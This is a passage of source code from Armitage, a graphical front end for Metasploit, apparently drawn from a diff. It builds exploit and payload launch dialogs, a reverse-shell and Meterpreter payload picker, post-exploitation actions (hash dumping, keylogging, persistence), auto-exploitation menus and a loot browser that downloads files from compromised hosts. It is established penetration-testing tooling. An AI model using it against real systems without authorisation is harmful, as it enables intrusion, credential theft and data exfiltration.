local('$job $confirm $foo');
$job = call($client, "job.info", $1);
$foo = lambda({
local('$confirm');
$confirm = askYesNo([$stopf : $jid, $job], "Stop Job");
if ($confirm eq "0") {
cmd_safe("jobs -k $jid", {
if ($3 ne "") { showError($3); }
});
}
}, \$stopf, \$job, $jid => $1);
if ([SwingUtilities isEventDispatchThread]) {
[$foo];
}
else {
[SwingUtilities invokeLater: $foo];
}
}
}, \$startf, \$stopf));
}
sub generatePayload {
local('$file');
$file = saveFile2();
if ($file is $null) {
return;
}
thread(lambda({
local('$module $options $format $handle $data');
($module, $options, $format) = $args;
$options["Format"] = $format;
$data = call($client, "module.execute", "payload", $module, $options);
$handle = openf("> $+ $file");
writeb($handle, $data["payload"]);
closef($handle);
showError("Saved $file");
}, $args => @_, \$file));
}
# pass the module launch to another thread please.
sub launch_service {
if ($4 eq "payload" && $format ne "multi/handler") {
generatePayload($2, $3, $format);
}
else {
local('$listener');
thread(lambda({
local('$title $module $options $type');
($title, $module, $options, $type) = $args;
_launch_service($title, $module, $options, $type, \$format, \$listener);
}, $args => @_, \$format, \$listener));
}
}
sub _launch_service {
local('$c $key $value');
if ('SESSION' in $3) {
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
}
else if ('RHOST' in $3) {
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
}
else {
$c = createDisplayTab($1, $file => $4);
}
if ($listener) {
[$c addSessionListener: $listener];
}
if ($4 eq "payload" && $format eq "multi/handler") {
[$c addCommand: $null, "use exploit/multi/handler"];
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
[$c addCommand: $null, "set ExitOnSession false"];
}
else {
[$c addCommand: $null, "use $2"];
}
foreach $key => $value ($3) {
[$c addCommand: $null, "set $key $value"];
}
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
[$c addCommand: "x", "exploit -j"];
}
else {
[$c addCommand: "x", "run -j"];
}
[$c start];
}
#
# pop up a dialog to start our attack with... fun fun fun
#
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
sub launch_dialog {
local('$info $options $6');
$info = call($mclient, "module.info", $2, $3);
$options = call($mclient, "module.options", $2, $3);
# give callers the ability to set any options before we pass things on.
if (-ishash $6) {
local('$key $value');
foreach $key => $value ($6) {
if ($key in $options) {
$options[$key]["default"] = $value;
$options[$key]["advanced"] = "0";
}
}
}
dispatchEvent(lambda({
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
}, \$info, \$options, $args => @_));
}
# $1 = model, $2 = exploit, $3 = selected target
sub updatePayloads {
thread(lambda({
local('$best');
$best = best_client_payload($exploit, $target);
[$model setValueForKey: "PAYLOAD", "Value", $best];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", randomPort()];
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model fireListeners];
}, $model => $1, $exploit => $2, $target => $3));
}
sub _launch_dialog {
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
$dialog = dialog($1, 520, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $info["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($options) {
if ($key eq "THREADS") {
$default = "24";
}
else if ($key eq "LHOST") {
$default = $MY_ADDRESS;
}
else if ($key eq "RHOSTS") {
$default = join(", ", $5);
}
else if ($key eq "SESSION" && size($5) > 0) {
local('$host @sessions');
foreach $host ($5) {
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
}
}
$default = join(", ", @sessions);
}
else if ($key eq "RHOST" && size($5) > 0) {
$default = $5[0];
}
else {
$default = $value["default"];
}
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
}
}
#
# give user the option to configure the client-side payload... of course we'll configure it for them
# by default :P~
#
if ($2 eq "exploit") {
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
}
else if ($2 eq "payload" && "*windows*" iswm $3) {
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
}
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
local('%actions');
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
addFileListener($table, $model, %actions);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
$button = [new JButton: "Launch"];
# setup some default options on a output type basis.
[$combo addActionListener: lambda({
local('$sel');
$sel = [$combo getSelectedItem];
if ($sel eq "vba") {
[$model setValueForKey: "Encoder", "Value", "generic/none"];
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
[$model fireListeners];
}
}, \$model, \$combo)];
local('$combobox');
if ('targets' in $info) {
$combobox = targetsCombobox($info);
[$combobox addActionListener: lambda({
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
}, \$model, $exploit => $3, \$combobox)];
}
[$button addActionListener: lambda({
local('$options $host $x $best');
syncTable($table);
$options = %();
# assume we have an exploit... set the appropriate target please...
if ($combobox !is $null) {
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
}
for ($x = 0; $x < [$model getRowCount]; $x++) {
if ([$model getValueAt: $x, 1] ne "") {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
}
if (!isShift($1)) {
[$dialog setVisible: 0];
}
if ($visible) {
if ('SESSION' in $options) {
local('@sessions $session $console');
@sessions = split(',\s+', $options['SESSION']);
foreach $session (@sessions) {
$options['SESSION'] = $session;
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
}
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("dumped hashes on " . join(", ", @sessions));
}
else if ($command eq "windows/gather/arp_scanner") {
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "multi/gather/ping_sweep") {
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "windows/capture/keylog_recorder") {
foreach $session (@sessions) {
$session = sessionToHost($session) . "/ $+ $session";
}
elog("started logging keystrokes on " . join(", ", @sessions));
}
else if ($command eq "windows/manage/persistence") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("ran persistence on " . join(", ", @sessions));
}
}
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
local('$listener');
$listener = {
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '... (.*?) stored at (.*)') {
($file, $path) = matched();
downloadFile($path, saveFile2());
}
}
};
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
local('$listener');
$listener = lambda({
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
elog("launched $command @ " . matched()[0]);
}
}
}, \$command);
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else {
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
local('$domain $ns');
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
if ($ns ne "") {
elog("launched DNS enum for $domain via $ns");
}
else {
elog("launched DNS enum for $domain");
}
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
}
}
else {
thread(lambda({
local('$r');
$r = call($client, "module.execute", $type, $command, $options);
if ("result" in $r) {
elog("started $command");
showError($r["result"]);
}
else if ("job_id" in $r) {
elog("started $command");
showError("Started service");
}
else {
showError($r);
}
}, \$type, \$command, \$options));
}
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
local('$advanced');
$advanced = addAdvanced(\$model);
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
if ($2 eq "payload") {
[$panel add: left([new JLabel: "Output: "], $combo)];
}
else if ($combobox !is $null) {
[$panel add: left([new JLabel: "Targets: "], $combobox)];
}
if ($2 eq "exploit") {
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
}
[$panel add: left($advanced)];
[$panel add: center($button)];
[$dialog add: $panel, [BorderLayout SOUTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub jobs {
local('$jobs $jid $desc $info $data @r');
$jobs = call($client, "job.list");
foreach $jid => $desc ($jobs) {
$info = call($client, "job.info", $jid);
if ($info !is $null) {
$data = $info["datastore"];
if (!-ishash $data) { $data = %(); }
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
}
}
return @r;
}
sub updateJobsTable {
local('$job');
[$model clear: 8];
foreach $job (jobs()) {
[$model addEntry: $job];
}
[$model fireListeners];
}
sub createJobsTab {
local('$table $model $refresh $kill $panel $jobsf $sorter');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
[[$table getColumn: "Id"] setPreferredWidth: 125];
[[$table getColumn: "Port"] setPreferredWidth: 200];
[[$table getColumn: "Name"] setPreferredWidth: 1024];
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
[[$table getColumn: "URL"] setPreferredWidth: 1024];
[[$table getColumn: "Start"] setPreferredWidth: 1024];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
[$sorter setComparator: 0, { return $1 <=> $2; }];
[$sorter setComparator: 3, { return $1 <=> $2; }];
$jobsf = lambda(&updateJobsTable, \$model);
[$jobsf];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
$kill = [new JButton: "Kill"];
[$kill addActionListener: lambda({
local('@jobs');
@jobs = [$model getSelectedValues: $table];
thread(lambda({
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
local('$jid');
foreach $jid (@jobs) {
call($client, "job.stop", $jid);
}
yield size(@jobs) * 500;
[$jobsf];
}, \@jobs, \$jobsf));
}, \$table, \$model, \$jobsf)];
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
[$frame addTab: "Jobs", $panel, $null];
}
sub payloadHelper {
local('$compatible $payload $check');
$payload = {
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
};
$check = [new JCheckBox: "Start a handler for this payload"];
$compatible = @();
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
# set the payload...
if ($1 eq "") {
return;
}
if ([$check isSelected]) {
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "HANDLER", "Value", "true"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model setValueForKey: "LPORT", "Value", randomPort()];
}
else {
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
[$model setValueForKey: "HANDLER", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", ""];
[$model setValueForKey: "LPORT", "Value", ""];
}
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
}
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
}
else {
[$model setValueForKey: "PAYLOAD", "Value", $1];
}
[$model fireListeners];
}, $callback => $4, \$model, \$check));
}
+76
View File
@@ -0,0 +1,76 @@
#
# Logging... yeap, this is very important y0.
#
import java.io.*;
global('%logs');
%logs = ohash();
setMissPolicy(%logs, {
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
});
# logNow("file", "host|all", "text to log");
sub logNow {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $stream');
$today = formatDate("yyMMdd");
mkdir(getFileProper(dataDirectory(), $today, $2));
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
[$stream println: $3];
}
}
sub logCheck {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today');
$today = formatDate("yyMMdd");
if ($2 ne "") {
mkdir(getFileProper(dataDirectory(), $today, $2));
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
}
}
}
# logFile("filename", "all|host", "type")
sub logFile {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $handle $data $out');
$today = formatDate("yyMMdd");
if (-exists $1 && -canread $1) {
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
# read in the file
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
# write it out.
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
$handle = openf("> $+ $out");
writeb($handle, $data);
closef($handle);
}
else {
warn("Could not find file: $1");
}
}
}
sub initLogSystem {
[$frame setScreenshotManager: {
local('$image $title');
($image, $title) = @_;
thread(lambda({
local('$file');
$title = tr($title, '0-9\W', '0-9_');
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
[javax.imageio.ImageIO write: $image, "png", $file];
logFile([$file getAbsolutePath], "screenshots", ".");
deleteFile([$file getAbsolutePath]);
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
}, \$image, \$title));
}];
}
+182
View File
@@ -0,0 +1,182 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateLootModel {
thread(lambda({
[Thread yield];
local('$loots $entry');
[$model clear: 16];
$loots = call($mclient, "db.loots")["loots"];
foreach $entry ($loots) {
$entry["date"] = rtime($entry["updated_at"] / 1000L);
$entry["type"] = $entry["ltype"];
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub downloadLoot {
thread(lambda({
local('$dest');
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
$dest = getFileProper(dataDirectory(), $type);
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
}, \$model, \$table, \$getme, \$type));
}
sub _downloadLoot {
local('$progress $entries $index $host $location $name $type $when $loot $path');
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at', 'path')];
$progress = [new ProgressMonitor: $frame, "Download Data", "", 0, size($entries)];
foreach $index => $loot ($entries) {
($host, $location, $name, $type, $when, $path) = $loot;
[$progress setNote: $name];
# make the folder to store our downloads into
local('$handle $data $file');
if ($dtype eq "downloads") {
$file = getFileProper($dest, $host, $path, $name);
}
else {
$file = getFileProper($dest, $host, $name);
}
mkdir(getFileParent($file));
# dump the file contents there...
$data = getFileContent($location);
$handle = openf("> $+ $file");
writeb($handle, $data);
closef($handle);
[$progress setProgress: $index + 1];
}
[$progress close];
showError("File(s) saved to:\n $+ $dest");
[gotoFile([new java.io.File: $dest])];
}
sub showLoot {
thread(lambda(&_showLoot, \$model, \$table, \$getme));
}
sub _postLoot {
local('$host $location $name $type $when');
($host, $location, $name, $type, $when) = $1;
[$2 append: "\c9
#
# $host $+ : $name
#\n"];
if ("*binary*" iswm $type) {
[$2 append: "\c4This is a binary file\n"];
}
else {
[$2 append: getFileContent($location)];
}
}
sub _showLoot {
local('$loot $entries $dialog $display $refresh');
$dialog = [new JPanel];
[$dialog setLayout: [new BorderLayout]];
$display = [new console.Display: $preferences];
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at')];
foreach $loot ($entries) {
_postLoot($loot, $display);
yield 10;
}
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
local('$r');
$r = [[$display console] getVisibleRect];
[$display setText: ""];
thread(lambda({
local('$loot');
foreach $loot ($entries) {
_postLoot($loot, $display);
yield 10;
}
dispatchEvent(lambda({
[[$display console] scrollRectToVisible: $r];
}, \$display, \$r));
}, \$entries, \$display, \$r));
}, \$entries, \$display)];
[$dialog add: $display, [BorderLayout CENTER]];
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
[$dialog add: center($refresh), [BorderLayout SOUTH]];
[$frame addTab: "View", $dialog, $null, $null];
}
sub createLootBrowser {
local('$table $model $panel $refresh $view $sorter $host $sync');
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$view = [new JButton: "View"];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table, $getme => "path");
}
}, \$model, \$table));
$sync = [new JButton: "Sync Files"];
[$sync addActionListener: lambda({
downloadLoot(\$model, \$table, $getme => "path", $type => "loots");
}, \$model, \$table)];
[$view addActionListener: lambda({
showLoot(\$model, \$table, $getme => "path");
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateLootModel(\$model);
}, \$model)];
updateLootModel(\$model);
if ($client is $mclient) {
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
}
else {
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
}
[$frame addTab: "Loot", $panel, $null];
}
+263
View File
@@ -0,0 +1,263 @@
import msf.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.imageio.*;
import ui.*;
sub host_selected_items {
local('$sid $session $i $s $h $o');
host_attack_items($1, $2);
setupMenu($1, "host_top", $2);
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
if ($session["type"] eq "meterpreter") {
$i = menu($1, "Meterpreter $sid", $sid);
showMeterpreterMenu($i, \$session, \$sid);
}
else if ($session["type"] eq "shell") {
$i = menu($1, "Shell $sid", $sid);
showShellMenu($i, \$session, \$sid);
}
}
}
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
setupMenu($1, "host_bottom", $2);
separator($1);
$h = menu($1, "Host", 'H');
$o = menu($h, "Operating System", 'O');
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
$i = menu($o, "Windows", 'W');
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
item($h, "Remove Host", 'R', clearHostFunction($2));
}
sub view_items {
# make it so we can recreate this menu if necessary...
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
item($1, 'Console', 'C', { thread(&createConsoleTab); });
if ($mclient !is $client && $mclient !is $null) {
item($1, 'Event Log', 'E', &createEventLogTab);
}
setupMenu($1, "view_top", @());
separator($1);
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
setupMenu($1, "view_middle", @());
separator($1);
local('$t');
$t = menu($1, 'Reporting', 'R');
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
item($t, 'Export Data', 'E', {
thread(&generateArtifacts);
});
setupMenu($1, "view_bottom", @());
}
sub armitage_items {
local('$m');
item($1, 'Preferences', 'P', &createPreferencesTab);
separator($1);
dynmenu($1, 'Set Target View', 'S', {
local('$t1 $t2');
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
$t1 = 'Graph View *';
$t2 = 'Table View';
}
else {
$t1 = 'Graph View';
$t2 = 'Table View *';
}
item($1, $t1, 'G', {
[$preferences setProperty: "armitage.string.target_view", "graph"];
createDashboard();
savePreferences();
});
item($1, $t2, 'T', {
[$preferences setProperty: "armitage.string.target_view", "table"];
createDashboard();
savePreferences();
});
});
dynmenu($1, 'Set Exploit Rank', 'E', {
local('$f @ranks $rank');
$f = {
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
savePreferences();
showError("Updated minimum exploit rank.");
};
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
foreach $rank (@ranks) {
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
else {
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
}
});
setupMenu($1, "main_top", @());
separator($1);
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
$m = menu($1, 'Listeners', 'L');
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
setupMenu($1, "main_middle", @());
separator($1);
item($1, 'Exit', 'x', {
if ($msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
[System exit: 0];
});
}
sub main_attack_items {
local('$k');
item($1, "Find Attacks", 'A', {
thread({
findAttacks("p", min_rank());
});
});
item($1, "Hail Mary", 'H', {
thread({
smarter_autopwn("p", min_rank());
});
});
setupMenu($1, "attacks", @());
}
sub gotoURL {
return lambda({
[[Desktop getDesktop] browse: $url];
}, $url => [[new URL: $1] toURI]);
}
sub help_items {
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
setupMenu($1, "help", @());
separator($1);
item($1, "About", 'A', {
local('$dialog $handle $label');
$dialog = dialog("About", 320, 200);
[$dialog setLayout: [new BorderLayout]];
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
[$label setBackground: [Color black]];
[$label setForeground: [Color gray]];
[$label setOpaque: 1];
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
[$label setText: readb($handle, -1)];
closef($handle);
[$dialog add: $label, [BorderLayout CENTER]];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setVisible: 1];
});
}
sub init_menus {
local('$top');
$top = [$1 getJMenuBar];
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
dynmenu($top, "View", 'V', &view_items);
dynmenu($top, "Hosts", 'H', &host_items);
dynmenu($top, "Attacks", 'A', &main_attack_items);
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
dynmenu($top, "Help", 'H', &help_items);
# setup some global keyboard shortcuts...
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
[$frame bindKey: "Ctrl+T", { [$frame snapActiveTab]; }];
[$frame bindKey: "Ctrl+Left", { [$frame previousTab]; }];
[$frame bindKey: "Ctrl+Right", { [$frame nextTab]; }];
setupWorkspaceShortcuts(workspaces());
cmd_safe("show exploits", {
local('$line $os $type $id $rank $name $k $date $exploit');
foreach $line (split("\n", $3)) {
local('@ranks');
@ranks = @('normal', 'good', 'great', 'excellent');
